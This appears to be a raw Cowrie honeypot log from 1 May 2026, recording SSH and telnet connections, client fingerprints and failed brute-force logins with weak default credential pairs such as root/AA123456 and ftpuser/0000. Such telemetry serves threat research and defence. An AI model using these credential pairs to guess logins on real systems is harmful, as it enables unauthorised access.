{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":52000,"dst_ip":"10.17.0.5","dst_port":22,"session":"50608061bb4f","protocol":"ssh","message":"New connection: 74.87.117.149:52000 (10.17.0.5:22) [session: 50608061bb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:33.191311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:33.197759Z","src_ip":"74.87.117.149","session":"50608061bb4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:33.222510Z","src_ip":"74.87.117.149","session":"50608061bb4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"0000","message":"login attempt [ftpuser/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:33.353198Z","src_ip":"74.87.117.149","session":"50608061bb4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:33.365972Z","src_ip":"176.65.139.103","session":"7e1ab5d39442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:34.380278Z","src_ip":"74.87.117.149","session":"50608061bb4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36274,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96d2637f8e8","protocol":"telnet","message":"New connection: 94.23.163.94:36274 (10.17.0.5:23) [session: f96d2637f8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:36.564036Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":39424,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c5cc35323eb","protocol":"telnet","message":"New connection: 5.189.169.71:39424 (10.17.0.5:23) [session: 9c5cc35323eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:36.614012Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42692,"dst_ip":"10.17.0.5","dst_port":22,"session":"d009ef07aa34","protocol":"ssh","message":"New connection: 176.65.139.103:42692 (10.17.0.5:22) [session: d009ef07aa34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:38.095239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:38.100296Z","src_ip":"176.65.139.103","session":"d009ef07aa34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:38.184548Z","src_ip":"176.65.139.103","session":"d009ef07aa34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:38.585061Z","src_ip":"176.65.139.103","session":"d009ef07aa34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:39.669660Z","src_ip":"176.65.139.103","session":"d009ef07aa34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.05939984321594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:42.157584Z","src_ip":"23.254.167.244","session":"41a5ab32ccec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37384,"dst_ip":"10.17.0.5","dst_port":22,"session":"46e0984c208e","protocol":"ssh","message":"New connection: 176.65.139.103:37384 (10.17.0.5:22) [session: 46e0984c208e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:44.326480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:44.339455Z","src_ip":"176.65.139.103","session":"46e0984c208e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:44.425474Z","src_ip":"176.65.139.103","session":"46e0984c208e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:44.738784Z","src_ip":"176.65.139.103","session":"46e0984c208e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:45.833858Z","src_ip":"176.65.139.103","session":"46e0984c208e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37386,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9648e8cd2f1","protocol":"ssh","message":"New connection: 176.65.139.103:37386 (10.17.0.5:22) [session: b9648e8cd2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:50.419988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:50.424508Z","src_ip":"176.65.139.103","session":"b9648e8cd2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:50.506642Z","src_ip":"176.65.139.103","session":"b9648e8cd2f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:50.754052Z","src_ip":"176.65.139.103","session":"b9648e8cd2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.772942304611206,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:51.081264Z","src_ip":"23.254.167.244","session":"4746ecc7fb78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60962,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a57cb2269d","protocol":"telnet","message":"New connection: 94.23.163.94:60962 (10.17.0.5:23) [session: 90a57cb2269d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:51.500324Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38780,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea646daa255d","protocol":"telnet","message":"New connection: 5.189.169.71:38780 (10.17.0.5:23) [session: ea646daa255d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:51.505418Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:52.016185Z","src_ip":"176.65.139.103","session":"b9648e8cd2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38792,"dst_ip":"10.17.0.5","dst_port":23,"session":"43cbf63b0e08","protocol":"telnet","message":"New connection: 5.189.169.71:38792 (10.17.0.5:23) [session: 43cbf63b0e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:53.250707Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38798,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa8ececb6cf9","protocol":"telnet","message":"New connection: 5.189.169.71:38798 (10.17.0.5:23) [session: aa8ececb6cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:54.344994Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a3445ad01f0","protocol":"telnet","message":"New connection: 5.189.169.71:38800 (10.17.0.5:23) [session: 2a3445ad01f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:54.967701Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":50044,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a68ecdc8e8","protocol":"telnet","message":"New connection: 94.23.163.94:50044 (10.17.0.5:23) [session: 37a68ecdc8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:55.409420Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.71.177","src_port":43534,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d61192bee45","protocol":"telnet","message":"New connection: 65.108.71.177:43534 (159.203.135.109:23) [session: 8d61192bee45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:56.394529Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48584,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbf0eb158bd6","protocol":"ssh","message":"New connection: 176.65.139.103:48584 (10.17.0.5:22) [session: dbf0eb158bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:56.430562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:56.435793Z","src_ip":"176.65.139.103","session":"dbf0eb158bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:56.534619Z","src_ip":"176.65.139.103","session":"dbf0eb158bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:56.787416Z","src_ip":"176.65.139.103","session":"dbf0eb158bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38804,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9fa037ee219","protocol":"telnet","message":"New connection: 5.189.169.71:38804 (10.17.0.5:23) [session: c9fa037ee219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:57.361780Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38820,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c90bf9d3e1","protocol":"telnet","message":"New connection: 5.189.169.71:38820 (10.17.0.5:23) [session: 82c90bf9d3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:57.607070Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:57.957091Z","src_ip":"176.65.139.103","session":"dbf0eb158bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.63104867935181,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:59.396982Z","src_ip":"23.254.167.244","session":"41629c85d7d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48616,"dst_ip":"10.17.0.5","dst_port":22,"session":"19eda84826ec","protocol":"ssh","message":"New connection: 176.65.139.103:48616 (10.17.0.5:22) [session: 19eda84826ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:02.805001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:02.809789Z","src_ip":"176.65.139.103","session":"19eda84826ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:02.905357Z","src_ip":"176.65.139.103","session":"19eda84826ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:03.217380Z","src_ip":"176.65.139.103","session":"19eda84826ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:04.314984Z","src_ip":"176.65.139.103","session":"19eda84826ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":53606,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c375f763305","protocol":"telnet","message":"New connection: 5.189.169.71:53606 (10.17.0.5:23) [session: 7c375f763305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:04.626751Z"}
{"eventid":"cowrie.session.closed","duration":30.45289659500122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:07.066775Z","src_ip":"5.189.169.71","session":"9c5cc35323eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27312731742859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:07.837014Z","src_ip":"94.23.163.94","session":"f96d2637f8e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.07334661483765,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:09.003746Z","src_ip":"23.254.167.244","session":"98e82bfbab14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59170,"dst_ip":"10.17.0.5","dst_port":22,"session":"2012ef66580b","protocol":"ssh","message":"New connection: 176.65.139.103:59170 (10.17.0.5:22) [session: 2012ef66580b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:09.535059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:09.540067Z","src_ip":"176.65.139.103","session":"2012ef66580b","protocol":"ssh"}
